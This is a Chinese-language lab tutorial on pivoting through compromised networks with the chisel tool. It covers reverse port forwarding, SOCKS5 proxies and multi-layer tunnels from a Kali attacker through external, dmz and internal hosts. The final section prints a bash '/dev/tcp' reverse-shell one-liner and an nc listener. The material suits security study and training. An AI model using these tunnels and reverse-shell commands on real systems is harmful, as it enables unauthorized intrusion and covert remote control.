前言
chisel 是一个轻量易用的代理工具,基本用法如下:
服务端使用方法:
./chisel server --reverse --port 9999
服务端参数
- –host [指定服务端 ip,默认是 0.0.0.0]
- –port 指定监听端口
- –reverse 表示允许所有客户端通过该服务端进行端口转发
客户端使用方法:
./chisel client 服务端ip:服务端监听端口port R:服务端转发出来的端口p1:内网ip地址:内网端口p2
此时访问服务端的 p1 端口即相当于访问内网 ip 的 p2 端口
客户端 socks 代理:
./chisel client 服务端ip:port R:服务端socks代理端口:socks
这里举的例子都是以 ubuntu (192.168.244.128)作为受害机, kali(192.168.244.137) 作为攻击机。
端口转发
如果只是想要 chisel 做简单的内网端口转发,那么可以这样使用,也比较推荐。
kali 上
./chisel server --reverse --port 9999
ubuntu
./chisel client 192.168.244.137:9999 R:3000:127.0.0.1:3000
表示将 ubuntu 中的 3000 端口转发到 kali 的 3000 端口上,此时在 kali 就可以直接访问 http://127.0.0.1:3000
Socks5 代理
正向
正向的方式容易受限。
在 ubuntu 上:
./chisel server -v -p 1234 --socks5
在 kali 上
./chisel client -v 192.168.244.128:1234 1080:socks
连接成功的表现如:
└─$ ./chisel client -v 192.168.244.128:1234 socks
2023/09/02 16:01:03 client: tun: Bound proxies
2023/09/02 16:01:03 client: Handshaking...
2023/09/02 16:01:03 client: Sending config
2023/09/02 16:01:03 client: tun: SSH connected
这个时候就可以在 kali 上用 1080 端口进行代理了。但是这样不够安全,任何人都可以连接 ubuntu 的 socks5 服务,我们可以添加 auth
在 ubuntu 上
./chisel server -v -p 1234 --socks5 --auth 'admin:123456'
在 kali 上
./chisel client --auth 'admin:123456' -v 192.168.244.128:1234 1080:socks
即可
反向
在 kali 上
./chisel server --reverse -v -p 1234 --socks5 --auth 'admin:123456'
在 ubuntu 上
./chisel client --auth 'admin:123456' -v 192.168.244.137:1234 R:1080:socks
即可在 kali 上使用 socks 代理
多层 socks5 代理
下面仅仅以三层网络为例,分别为 external、dmz、internal
为了模拟真实情况,这里假设 kali 的 ip 地址和 external 的 ip 地址均为公网 ip,并且我们已经控制了 external 机器,想要搭建 socks 代理依次访问后面的机器。
第一层很简单。首先在 kali 上 (使用反向,正向可能端口不开放无法连接)
./chisel server --reverse -v -p 1234 --socks5 --auth 'admin:123456'
然后在 external 上
./chisel client --auth 'admin:123456' -v 192.168.244.137:1234 R:1080:socks
此时在 /etc/proxychains.conf
上添加一行 socks5 127.0.0.1 1080
这样我们就可以访问 dmz 了
假设我们通过一系列的测试,成功拿下 dmz 的机器,想要继续访问 internal 的机器,则在 external 机器上
./chisel server --reverse -v -p 1234 --socks5 --auth 'admin:123456'
而在 dmz 机器上
./chisel client --auth 'admin:123456' -v 192.168.32.3:1234 R:1080:socks
由于 chisel 默认监听在本机回环地址,因此我们只需要在 /etc/proxychains.conf
再加上一条 socks5 127.0.0.1 1080
就可以访问 internal 网络
要打多层代理就只需要重复上面的步骤,添加多条 socks5 127.0.0.1 1080
windows 下的 Proxifier 也是同样的步骤
内网反弹 Shell
之前主要介绍的是正向代理的方式,就是 kali 主动访问目标内网机器。那么有没有办法得到内网机器反弹过来的 shell 呢?当然有,不过这个时候 kali 需要充当 client。不过这个时候就要求目标机器上端口能够开放了。
还是以上面多层代理 socks 的例子。假设我们得到了 external 的反弹 shell(这个很容易,毕竟是出网的机器),并且我们可以在 dmz 上执行命令,但我们的目标是得到 dmz 的反弹 shell。
首先我们在 external 上执行
./chisel server --reverse --port 1234 &
然后在 kali 上执行
./chisel client 192.168.244.128:1234 R:1337:127.0.0.1:1337 &
nc -lvnp 1337
这个的意思是将 kali 的 1337 端口转发到 external 机器的 1337 端口上,此时访问 external 的 1337 端口即相当于访问 kali 的 1337 端口。
然后在 dmz 机器上执行
/bin/bash -i >& /dev/tcp/192.168.32.3/1337 0>&1
即可获得反弹 shell。那么我们再来思考一下,假设我们也已经获得 internal 执行命令,如何将 internal 的 shell 反弹出来呢?
其实也很简单嘛,此时 external 就相当于上述操作的 kali,dmz 就相当于上述操作的 external,仅此而已。
结语
是不是很简单呢?改天再介绍其它代理工具吧。